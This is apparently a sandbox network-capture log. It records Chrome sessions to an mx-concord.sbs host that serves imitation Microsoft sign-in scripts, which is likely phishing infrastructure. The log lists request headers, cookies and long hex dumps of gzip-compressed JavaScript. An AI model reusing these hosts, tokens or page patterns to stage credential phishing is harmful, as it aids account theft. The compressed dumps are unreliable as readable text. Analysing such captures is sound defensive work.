2024-08-28 20:21:05 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:05 GMT Content-Type: application/x-javascript Content-Length: 16112 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 2209835 cache-control: public, max-age=31536000 etag: 0x8DCB32DEE62CF26 last-modified: Fri, 02 Aug 2024 20:01:43 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 4bd57e42-b01e-00db-286e-e50c11000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:05 UTC	15639	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 7d 4d 73 23 47 b2 d8 dd bf 02 8b 75 68 86 4f 3d 10 3e f8 89 11 34 06 01 70 06 4f 24 00 01 e0 50 0a 49 46 34 81 22 d8 4b a0 1b af bb 31 1c 2e 35 8e bd f9 f0 0e be da 37 1f 7c f2 d1 17 df fd 53 36 e2 f9 77 38 3f aa aa ab ba 1b 00 39 d2 6a df b3 42 31 44 77 55 65 55 65 65 65 65 66 65 66 ff e1 66 ed 4f 63 2f f0 5f 8a bd 47 f5 bb 10 bc f4 f7 1e bd 9b 97 de 8f fe cf 7b a1 88 d7 a1 5f c0 df 25 f1 71 15 84 71 f4 fa 83 1b 16 e2 06 be 6a 3c ca 77 f5 c7 4f 8e 37 ab fb ce 22 70 67 62 56 ff 43 e5 d3 6b d9 54 60 d3 a9 bb 58 bc 8c 15 04 27 76 92 df c1 1e 3c 70 b3 c6 1f ca 49 c1 27 ec c6 6b 3c 6a 40 41 69 d9 10 4e 50 9a 36 3c f8 77 d5 28 16 9d e0 65 79 ef d3 cb 1f 93 69 38 81 e3 c1 e0 5f 56 f7 68 94 7e c3 7b 59 01 f8 f0 e7 60 cf 09 e1 cf Data Ascii: }Ms#GuhO=>4pO$PIF4"K1.57\|S6w8?9jB1DwUeUeeeefeffOc/_G{_%qqj<wO7"pgbVCkT`X'v<pI'k<j@AiNP6<w(eyi8_Vh~{Y`
2024-08-28 20:21:05 UTC	473	IN	Data Raw: 46 f5 22 7e 0e a2 e8 10 63 2c 62 26 ba 22 9c 66 99 8c 7c 2a 23 e0 23 27 e5 aa 27 e5 7b 8f de 0d fc ab f2 12 06 8d ca eb e0 6b 37 9c af b1 8f 48 e5 23 0c be fc 72 4f 34 30 25 22 69 de 2f 31 8b 20 a8 c8 9d 8f ab 97 c5 9f 7e 7a 2c 7e f9 32 78 55 d9 fb 12 7e 7f 2a 3a 45 fc 60 a9 06 f1 63 f0 b3 ce 5e 28 3e 7d ca 26 45 21 fe 15 b1 0b 14 31 85 e2 1f ff d3 1f 2f 28 af 26 b2 8b c9 f9 08 9e 59 5f 12 b0 5d a5 a0 ce d1 a2 50 b2 e2 80 34 fe 12 18 d6 44 19 9a 2b 51 b9 5e 80 c4 c1 45 82 54 b1 6c 76 35 f9 32 d5 35 6d 69 4e 87 86 43 00 3a 1e ca dc 9f b4 cb f8 e7 e0 aa 0d 94 03 65 98 c1 88 c2 2b 59 23 53 ec 47 31 4e e4 3a 09 eb 1c dd 01 59 5c 80 f8 d4 5c 78 6e 44 4a c7 f2 1a ed 35 ec 56 a3 02 29 73 5f 4b 28 94 fe a8 5e 4b 07 a7 51 70 61 6e 3b 10 bf 0e 36 14 5c 89 c5 14 8e Data Ascii: F"~c,b&"f\|##''{k7H#rO40%"i/1 ~z,~2xU~:E`c^(>}&E!1/(&Y_]P4D+Q^ETlv525miNC:e+Y#SG1N:Y\\xnDJ5V)s_K(^KQpan;6\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49758	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:04 UTC	544	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_2P9n4TNNrWcgKwW6Mt6tGA2.js HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:06 UTC	746	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:06 GMT Content-Type: application/x-javascript Content-Length: 122154 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 1788739 cache-control: public, max-age=31536000 etag: 0x8DCB563CA8588E7 last-modified: Mon, 05 Aug 2024 15:32:18 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 7bcf5efb-d01e-0003-2d43-e9b5aa000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:06 UTC	13688	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 7b 57 e3 48 92 38 fa ff fd 14 46 33 97 b6 1b e1 92 fc 02 8b 56 b3 c6 40 15 d3 80 19 4c 55 f7 2c c5 70 64 29 6d d4 c8 92 57 92 79 8c f1 7e f6 5f 44 64 a6 94 b2 65 aa 6a 76 cf bd e7 9e db 3b 5b 58 99 91 af c8 c8 c8 88 c8 c8 c8 0f 3f 6f fd 5f 95 9f 2b bb df ff 5f 65 78 d3 bb be a9 0c 4e 2b 37 9f ce ae 8f 2b 57 f0 f5 8f ca e5 e0 e6 ac 7f f2 fd f5 60 a3 f8 ff 37 0f 7e 52 19 fb 01 ab c0 df 91 93 30 af 12 85 95 28 ae f8 a1 1b c5 b3 28 76 52 96 54 a6 f0 6f ec 3b 41 65 1c 47 d3 4a fa c0 2a b3 38 fa 93 b9 69 52 09 fc 24 85 42 23 16 44 cf 95 2a 54 17 7b 95 2b 27 4e 5f 2b 67 57 b5 3a d4 cf a0 36 7f e2 87 50 da 8d 66 af f0 fb 21 ad 84 51 ea bb ac e2 84 1e d5 16 c0 47 98 b0 ca 3c f4 58 5c 79 7e f0 dd 87 ca 85 ef c6 51 12 8d d3 4a cc Data Ascii: {WH8F3V@LU,pd)mWy~_Ddejv;[X?o_+_exN+7+W`7~R0((vRTo;AeGJ8iR$B#DT{+'N_+gW:6Pf!QG<X\y~QJ
2024-08-28 20:21:06 UTC	16384	IN	Data Raw: 67 81 54 f2 a4 4e 3d 41 3b 29 dd b0 74 d4 ee 1c d2 3c 5c f1 f5 89 9d af f2 63 58 7d 2e 3a 29 c6 51 2c bd 3a 2a 39 a6 80 2c 98 9c b7 d6 4e 84 42 03 30 91 78 bc 3d 7f 9d ce f6 81 7d 91 ec 2c e4 c6 9c 90 c5 28 f4 99 ed 00 d1 48 8c 03 f1 21 8e c6 88 2e 39 37 da 4e 84 69 13 3b e6 e4 38 b5 d3 02 99 1d cc ed 64 7b 9b 3f b7 00 b2 7a b2 72 1a ae 1d 48 c2 83 9a 12 eb 7d 8a 4c 79 b7 46 45 3a 11 94 61 2e 81 38 38 4d 40 17 f5 89 3e d3 a7 40 03 28 6c 00 4a a4 79 e8 c9 6e b1 e6 ee 48 ce 17 cb 5f 8b 7f b0 69 42 5d e6 07 55 29 97 7c 78 aa e9 f7 2b 9c 44 ef db c6 41 ff 97 87 83 be 34 2d 0d 6d 03 5d 5f 0e 35 cd ea 67 8f 10 02 e0 0b 1e 82 65 6a 44 ff e7 27 bd da 07 5d e2 67 a8 f4 b9 38 04 e8 bc cd 7b 8f b4 3c d4 5f f4 d1 fa e2 7b 26 1b d7 41 de ee ab cd 76 d4 06 71 a8 5b f7 Data Ascii: gTN=A;)t<\cX}.:)Q,:*9,NB0x=},(H!.97Ni;8d{?zrH}LyFE:a.88M@>@(lJynH_iB]U)\|x+DA4-m]_5gejD']g8{<_{&Avq[
2024-08-28 20:21:07 UTC	16384	IN	Data Raw: b6 95 93 57 f6 67 8e 64 a6 74 de 01 54 94 6f bd 7f 7b 2e dc 81 f7 85 23 6c 28 75 91 64 8a 3c 58 6d b9 f0 89 37 ae e9 1e a0 7f ec 0d e5 cc fa b5 e9 9c 5c f8 ca b6 c2 df c2 c7 4c 7a b3 39 11 4e b0 29 95 28 6a 4c 93 2d 50 aa f0 2b 87 de 3a 85 7f 8d e0 b9 d6 8f 65 4d 18 ac c2 cf 17 69 ed 2b 63 36 fd 84 90 c7 26 8a a4 06 47 9d 54 0b 13 5d 56 96 ac 04 d6 32 80 3e f8 1b ad 58 81 b5 42 88 b7 9b cc 68 3c ec e8 b2 0e 57 24 d7 4e ec 88 f5 12 dd c4 d2 ce 8e 02 89 35 b5 10 2b 6a ba f7 9c d0 c5 84 07 40 93 f0 26 24 b9 70 a3 02 78 0c a6 70 cc 1e 74 f7 51 7c fd 1c 0e 27 11 f9 32 ea 4b 27 cc e8 c2 48 79 0b a5 14 74 5f a4 f9 05 a5 b4 2f 85 3f 26 ba ac e4 bb 48 39 dc 6d ba 77 65 2f d1 a7 e8 5c 49 69 04 43 c2 79 60 0c 12 d2 c2 d1 68 28 b4 01 5f 3d ae 7e f9 f2 65 15 95 d0 57 Data Ascii: WgdtTo{.#l(ud<Xm7\Lz9N)(jL-P+:eMi+c6&GT]V2>XBh<W$N5+j@&$pxptQ\|'2K'Hyt_/?&H9mwe/\IiCy`h(_=~eW
2024-08-28 20:21:07 UTC	16384	IN	Data Raw: bc e3 6a e3 82 6d ce 35 00 fb 2e 8c 41 34 61 52 ac 75 e9 16 e3 40 76 2f f3 4a 6e 48 75 ba ac 43 8c cf 2c e1 98 d6 f5 f5 5d 7a 7d 6d ad d4 f9 e8 77 43 cd 70 08 1b fb dc b1 a3 a0 0a e4 51 44 11 93 64 6d 29 05 c2 1b 71 1c f2 8b 0c e8 4c 88 88 16 21 37 8a b7 39 6e 73 f9 c0 ba 4b ad 15 c0 6b 5d 2c 04 3d 29 09 06 7c ce 00 b1 ae 6e 8f 26 e4 5c 5a 42 2a b4 1f 61 68 00 a8 91 5c 91 20 89 f5 6b d0 54 d9 f1 6b 87 9a 1b 6d e4 e4 71 c9 e6 44 32 cf cf cb 1d 2b 36 2a 94 28 3a 24 a1 15 75 e3 3e 1b 51 48 34 b6 5d 84 9c 86 62 67 e3 e5 e5 18 10 77 e2 35 56 90 1b b4 c8 41 96 12 d2 96 c4 aa 21 43 24 e4 30 5d 74 2b 85 a5 b6 17 f7 d0 74 1c 28 8b 41 16 64 15 52 b3 f2 13 f7 5f 35 7e ae 61 b9 57 62 8c 19 a3 5d b2 7e 7a 4f 6a de 7c 5e 9c 9a 2c 8f 9a 14 05 f8 43 70 e2 ca a7 ab ac 78 Data Ascii: jm5.A4aRu@v/JnHuC,]z}mwCpQDdm)qL!79nsKk],=)\|n&\ZBah\ kTkmqD2+6(:$u>QH4]bgw5VA!C$0]t+t(AdR_5~aWb]~zOj\|^,Cpx
2024-08-28 20:21:07 UTC	16384	IN	Data Raw: 83 88 e6 5e db 08 3a 62 d1 d3 7e b4 c7 d9 3c 8f 62 fb 85 9a b8 7a 40 92 4d 9e 8c e3 95 ae b7 18 36 a4 5e b9 9c 72 3f 85 37 e1 31 47 92 ee 60 0d 40 b4 7a 35 cd a2 ab af 7f e6 f1 f7 3b 3e 78 1d 5e c5 cb fa a2 19 89 d6 61 14 1b 20 67 8e 7b 88 dc 66 88 98 c4 75 ac 96 cb 53 6e 98 00 af 2a 52 ac 89 c6 b4 d5 7f 8d d8 4b 09 ce 88 2d 44 90 5a c6 11 b7 f1 4e 12 32 c2 63 97 d7 b8 f9 a6 0e 3c 8b db e3 51 9f a7 0e 88 2a 93 f9 93 65 b2 f6 f0 31 82 ab ca 4d df 31 e7 a6 a2 d6 97 93 42 97 94 2c 2f 25 ed b2 2e cd 8d 78 37 b1 40 08 02 57 7f 49 72 e7 2e 6d 59 ea b2 11 18 e9 91 cd 47 3a 16 45 2e 39 75 96 8c 02 d2 b5 a5 48 3a bc fc 3b a5 2b 69 48 1c d6 31 0a b3 86 5f ed 8f 0b 3c b7 24 14 ad 39 fc b0 9f 01 db c4 af 6a 80 4c 4d 67 00 cc 09 d8 7c 64 ef c1 cc 57 29 65 c4 ba 8b 94 Data Ascii: ^:b~<bz@M6^r?71G`@z5;>x^a g{fuSnRK-DZN2c<Qe1M1B,/%.x7@WIr.mYG:E.9uH:;+iH1_<$9jLMg\|dW)e
2024-08-28 20:21:07 UTC	16384	IN	Data Raw: 7d f0 e1 c0 1a 8c 28 f7 69 b6 9a 2b 28 83 31 7b 81 ff 9f a9 7c f5 74 15 f4 e8 98 8f 2b 00 ad c3 d9 da 39 1d bb 8f 26 cd 45 27 f2 e4 7b 76 39 e4 2b 81 c2 a3 3a 9b 5b 37 b7 e3 3f e9 7e 25 5a b9 d3 d3 a5 c0 69 4d 97 4a 2d 38 9c 37 21 9a e4 73 19 56 13 21 ad 97 72 99 1b a3 54 11 80 26 39 06 e5 4d bd a2 cb 36 d4 98 5f 4a 6b 70 1f 03 9f 0c 46 d6 b0 cb d8 2a 7d 95 e6 49 6e 0e 1f 0e 2b ab 8e 1d b7 aa 5a d1 7f ab d6 b1 13 d9 ac 75 eb 7f 49 eb cd ac 4f 65 56 d7 b4 65 c4 69 da 48 fc 67 32 0c d5 eb d1 f1 9f 75 d2 8d b7 23 ab fe 75 51 23 97 42 d9 76 5a 38 ca ea 51 54 a4 84 2a 60 52 85 21 f3 a1 be 4c ed 6f 72 bb 07 d5 d6 95 7e 99 a4 e3 fa ba 46 a9 41 af a1 7e 36 b3 be 99 35 d0 fc 32 ba a6 08 a2 ff 8f 5c 8f 75 bc dc bb 65 82 ef c1 ab 0f f6 f5 eb 81 85 4f d6 9b 6e d8 e5 Data Ascii: }(i+(1{\|t+9&E'{v9+:[7?~%ZiMJ-87!sV!rT&9M6_JkpF}In+ZuIOeVeiHg2u#uQ#BvZ8QT`R!Lor~FA~652\ueOn
2024-08-28 20:21:07 UTC	1784	IN	Data Raw: c0 8a 65 dc 17 35 fa 83 b2 90 75 55 ed ed 6d ac 63 9d 7f 64 32 5d 71 f5 ae 7e 2f 56 df 5c bf 46 63 6d e5 83 b2 86 77 4f b7 3d 5c 9e 32 2a 49 8f 50 9e 86 21 eb 39 8e 3d 5c 4c ca d1 c3 45 1d 34 ac 1d 2b 14 b9 dd 9c 01 a4 79 5e 26 44 a4 a4 bf 3a 04 59 0b fe 61 10 8c 54 d6 fb 2d 69 5e 06 3f ff e2 f1 7b 87 87 94 ab 7d 31 f4 02 b2 8e f0 4f 44 ff 04 a1 fa 5b fd 76 02 f5 3b a6 bf 43 f5 de 8f 7c f5 4f 1c e8 7f 50 ec ab 83 c3 43 b4 27 7f 9e e1 7f 75 bb ad 57 7f 10 c5 db 03 75 ea 88 22 49 26 83 22 3f 3a 00 4f 28 de ca 27 05 9b 96 67 83 3f fe 3c 3b c0 9f d5 72 dc 24 3f 3e 3a f8 70 a0 a2 19 0f 7e fe 4a a8 2a 2a db 36 48 e3 e7 af 2c 5d 97 fe 5c b2 39 bb a8 50 78 f9 8a fe 2c e4 c5 25 90 4c fe 50 0a 59 75 7b a6 fb 10 da 5f ad 6e 4d 15 3a b9 5a 81 5e 1e 5c b7 4a 2a 7b 72 Data Ascii: e5uUmcd2]q~/V\FcmwO=\2IP!9=\LE4+y^&D:YaT-i^?{}1OD[v;C\|OPC'uWu"I&"?:O('g?<;r$?>:p~J6H,]\9Px,%LPYu{_nM:Z^\J{r
2024-08-28 20:21:07 UTC	16384	IN	Data Raw: e6 ff dd da ed 0f 9b 57 e2 e9 b2 54 63 23 76 97 65 bd c4 16 bd 9d 4a 11 2a 18 b4 7f 22 2b de 69 70 53 a1 bd 32 d0 3a f4 e7 af 17 55 a1 83 f4 95 80 2e 9e e8 d7 6a 67 b7 be f7 e1 60 32 99 1c 10 c1 47 a3 71 eb fd f8 05 b4 77 8a 96 78 fe d3 93 07 7d c4 56 cf de fc 65 e7 aa 90 35 8c ee 7e de 48 73 95 3e 05 d9 99 a7 fa e5 46 cf c1 94 fc de 4c ef d5 b7 ea b5 3f 6c ea af ce 5e f9 03 a3 cd e8 e5 ba 1a f3 b7 0b c7 27 0a 6f 5a b7 72 7e 56 2e 0c cf 5c 33 f2 d7 3f 7f 39 1e 87 cf e7 55 f9 32 7d 19 da 5e fe 76 49 68 9b 6c e3 6f 3f 41 75 3a 4d ad da 17 ea 95 e1 cb cf fb f7 aa a8 9c b8 cf 9b 7d f6 b6 67 b3 7e f9 f7 66 82 96 05 37 ab 24 df 30 fe 46 ab d3 4a 92 b5 5d f2 4b 99 df 29 f2 ab a9 37 9f 36 44 4e aa bf cd 1f 97 42 3e 2f 30 e9 f5 e6 d2 4e 06 48 d3 dc 6f a4 fc fc 93 Data Ascii: WTc#veJ*"+ipS2:U.jg`2Gqwx}Ve5~Hs>FL?l^'oZr~V.\3?9U2}^vIhlo?Au:M}g~f7$0FJ]K)76DNB>/0NHo
2024-08-28 20:21:07 UTC	8378	IN	Data Raw: 7d 8e 13 5f fb 8d 3d fc 91 64 27 11 c1 c0 c7 88 4a da df d9 d3 77 1f c3 e5 bf 32 5f fb 2b 0e f2 30 fb a2 fd 83 8e 16 20 e7 95 ef 41 6a ff 84 17 61 0d 93 b4 7f 61 f9 b7 04 03 f6 1c c6 a0 13 78 19 4f c1 aa 11 22 bd 62 89 ba 96 5a 24 3d 84 82 2f 63 16 62 1d 54 2a 78 9e d0 c7 74 aa e8 b2 12 9e 6b 21 3e c6 55 7b 0b 6a 0e de c6 a4 08 cf 5f 3a 24 87 d3 21 12 df 42 8b c9 6c 67 87 4a 5f cf 43 3f ce 4d e9 5a 42 72 c0 01 3d 41 61 27 b9 d6 52 c2 40 80 0b 07 53 c2 90 54 9a c7 9f fd 18 66 2f ae 5c 7c e2 8b 27 71 7c be 20 f8 64 c1 9f 3c 77 3c e2 c2 78 f0 d9 15 7f 76 c2 51 98 61 aa 06 ea 4d 8f 0e 87 22 f9 d3 04 fe 4d 34 78 f0 06 08 81 24 07 69 1a 7b 21 d2 3e 80 04 16 81 01 fc 35 35 73 05 d8 60 f8 86 47 42 e2 d1 b2 28 d9 9e e3 1b e0 a0 8a 77 8c 2a 2e 39 10 f0 30 99 21 19 Data Ascii: }_=d'Jw2_+0 AjaaxO"bZ$=/cbTxtk!>U{j_:$!BlgJ_C?MZBr=Aa'R@STf/\\|'q\| d<w<xvQaM"M4x$i{!>55s`GB(w.90!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49759	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:04 UTC	700	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: portal.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://portal.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1 Sec-WebSocket-Key: bw8So5cCq/UA1tSa/RLeJg== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:21:05 UTC	742	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:21:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: f60e6825-a744-473a-ab53-c16fde2d6600 x-ms-ests-server: 2.1.18794.6 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49760	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:04 UTC	747	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_6c7dc46bb93924417b57.js HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://portal.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:06 UTC	746	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:06 GMT Content-Type: application/x-javascript Content-Length: 116411 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 5874810 cache-control: public, max-age=31536000 etag: 0x8DC90CF0C1378C3 last-modified: Thu, 20 Jun 2024 02:16:51 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 4b88a650-901e-008a-4819-c40366000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:06 UTC	15633	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd 6b 7b da 48 b6 28 fc 7d ff 0a d0 ee a1 a5 a6 8c 01 63 ec 08 cb 8c 93 38 3d 9e 49 62 1f db 99 9e 1e 87 c9 23 43 61 94 80 c4 e8 e2 4b 1b f6 6f 7f d7 5a 55 25 95 84 b0 71 ba f7 39 1f de e9 a7 63 74 29 d5 bd d6 fd b2 fd 53 f5 bf 2a 3f 55 b6 36 ff af 72 71 79 74 7e 59 39 7d 57 b9 fc cb c9 f9 db ca 19 dc fd 5a f9 78 7a 79 f2 e6 78 f3 7a b0 51 fc 77 39 f1 a2 ca d8 9b f2 0a fc 5e bb 11 1f 55 02 bf 12 84 15 cf 1f 06 e1 3c 08 dd 98 47 95 19 fc 0d 3d 77 5a 19 87 c1 ac 12 4f 78 65 1e 06 5f f9 30 8e 2a 53 2f 8a e1 a3 6b 3e 0d ee 2a 26 54 17 8e 2a 67 6e 18 3f 54 4e ce ac 06 d4 cf a1 36 ef c6 f3 e1 eb 61 30 7f 80 eb 49 5c f1 83 d8 1b f2 8a eb 8f a8 b6 29 dc f8 11 af 24 fe 88 87 95 bb 89 37 9c 54 3e 78 c3 30 88 82 71 5c 09 f9 90 7b b7 Data Ascii: k{H(}c8=Ib#CaKoZU%q9ct)S?U6rqyt~Y9}WZxzyxzQw9^U<G=wZOxe_0S/k>&Tgn?TN6a0I\)$7T>x0q\{
2024-08-28 20:21:06 UTC	12535	IN	Data Raw: 6e 3a a7 a4 0d a8 e6 38 0d 53 1c 3e 87 9c 1a 24 8a f5 0b a7 01 55 50 e2 5c 3a e4 77 91 1e cc ec 76 2b bd 17 39 49 55 e3 07 6d 24 72 d5 75 b6 53 22 a7 cd 92 6d f8 e3 e2 9f 10 fe 14 d8 cb 54 b2 d0 22 97 45 11 0e bb 81 f9 e8 3e 9d f8 71 ab fb fa d8 e4 3f 45 d6 92 76 2a 8d 7b ec 6c 09 f7 23 cf 09 7b de 41 42 01 d2 29 05 41 cc 3c 0b 6a 41 0b ec 2d ac 6e 0c c7 c1 db 1a 8b 9e 8a 27 30 11 63 c7 b3 18 3c ae b7 34 43 e9 ca f8 a7 88 b6 fc 16 9a 28 62 31 6f cb c1 6f 19 36 97 59 40 87 75 f7 30 11 2e 91 5b 2e 09 4b 7a 1e ba 3e 79 5b 5b 99 6a 77 8a 0a d9 09 3c 9d 1c b8 bd 89 d6 bb 3a 92 dc d4 bf 09 74 6a 8a e8 47 e4 bc 45 13 b6 2c eb a8 9a bd 6c aa ae 33 26 37 74 84 96 12 ce 3c 5a 58 0b 8d 4f 7a 6e 81 8e 43 d0 22 8b c0 22 1d 06 14 09 2e 40 5e 32 10 01 98 73 db c4 fb 53 Data Ascii: n:8S>$UP\:wv+9IUm$ruS"mT"E>q?Ev*{l#{AB)A<jA-n'0c<4C(b1oo6Y@u0.[.Kz>y[[jw<:tjGE,l3&7t<ZXOznC"".@^2sS
2024-08-28 20:21:06 UTC	16384	IN	Data Raw: 5b 41 34 62 1f 65 03 c3 31 de e7 41 29 42 a3 c3 af 46 7b a6 a5 e0 7e b1 1e 01 0b 2f 25 7e 79 a3 6d ea 5d 24 de 5c ac 3c 9e bb 10 28 6e c9 a5 46 96 06 ae e6 9b e3 2c 4d 0b 21 8d c2 f7 19 3d 3a 4d 87 19 4a 31 7e 30 eb 71 a6 c8 91 b8 2a 5b 50 a9 1f f8 f5 80 e1 71 82 9a de 29 dd 1d 6f 37 9c bc 15 a2 54 8c f0 ad 84 9f 42 5e 3b e3 ce da a5 d4 20 aa e6 e7 70 1a 65 b9 ff 4c ab e2 4c 63 b4 2c d8 35 d7 ae 6a b6 3b d4 bf 7d e9 2a 29 4b d8 e7 c0 37 d4 00 86 ff 90 24 13 91 71 42 75 52 4b 89 94 f4 81 85 bb 31 35 4a f9 d1 c5 32 42 90 34 d0 92 ff 86 e3 e9 c7 c6 99 a4 fb 45 44 59 c1 bb 45 45 59 e1 6b 31 9d 27 78 a8 ee 8a ac 26 33 eb 84 d7 61 3c 11 c6 b3 24 2d 58 91 84 d1 45 19 4f d0 63 26 e4 a7 7e 8a 29 36 38 25 2b 95 0f 40 bd 16 70 e1 21 74 15 e4 e4 8d 3b 40 91 96 28 0c Data Ascii: [A4be1A)BF{~/%~ym]$\<(nF,M!=:MJ1~0q[Pq)o7TB^; peLLc,5j;})K7$qBuRK15J2B4EDYEEYk1'x&3a<$-XEOc&~)68%+@p!t;@(
2024-08-28 20:21:06 UTC	16384	IN	Data Raw: fa b9 f7 05 cc 1a ae 61 b1 25 f3 22 2c 30 02 39 3f 98 5b 0c ce d4 20 1a fa a7 0f 0f 27 33 76 af 96 7a 41 5c 6d 0b 84 29 e0 87 d3 ee 27 5f cc 2d 51 c3 3d 41 e2 4e d2 53 d2 53 b5 7b e1 a6 ec 96 7d 04 8e 78 36 5b 1a 35 ee b4 ab 57 db ee b6 38 b4 bb cf c4 a1 dd df e6 87 76 77 73 9f 1f da fd f6 33 7e 68 77 5b 9b fc d0 ee 6e 6d f1 43 bb bf d9 e2 67 76 7f b3 8d 67 56 10 17 77 d4 d7 ee a2 db 10 18 a3 6b 0e 82 cb e0 ba bb e9 b7 e1 bc 16 32 0a 56 d3 c1 b3 7a d5 bb d2 a1 af e0 ac 5a 72 b1 2b da 68 37 bc 89 db e0 c6 60 21 51 02 7b 87 77 e8 2d 73 06 61 89 d1 53 d6 d6 04 1f 74 db a4 12 b6 aa 9c de 6e 08 32 e7 78 f1 70 a7 4d 0f 8e 76 54 0d d6 20 b7 fb 75 17 33 55 a8 5d 8d 9b fe 9a 54 7c 37 a8 cb a2 1f 4a 0d 67 6f ff 18 b6 b4 74 da 70 50 c9 35 85 82 23 b4 31 c7 00 d8 6c Data Ascii: a%",09?[ '3vzA\m)'_-Q=ANSS{}x6[5W8vws3~hw[nmCgvgVwk2VzZr+h7`!Q{w-saStn2xpMvT u3U]T\|7JgotpP5#1l
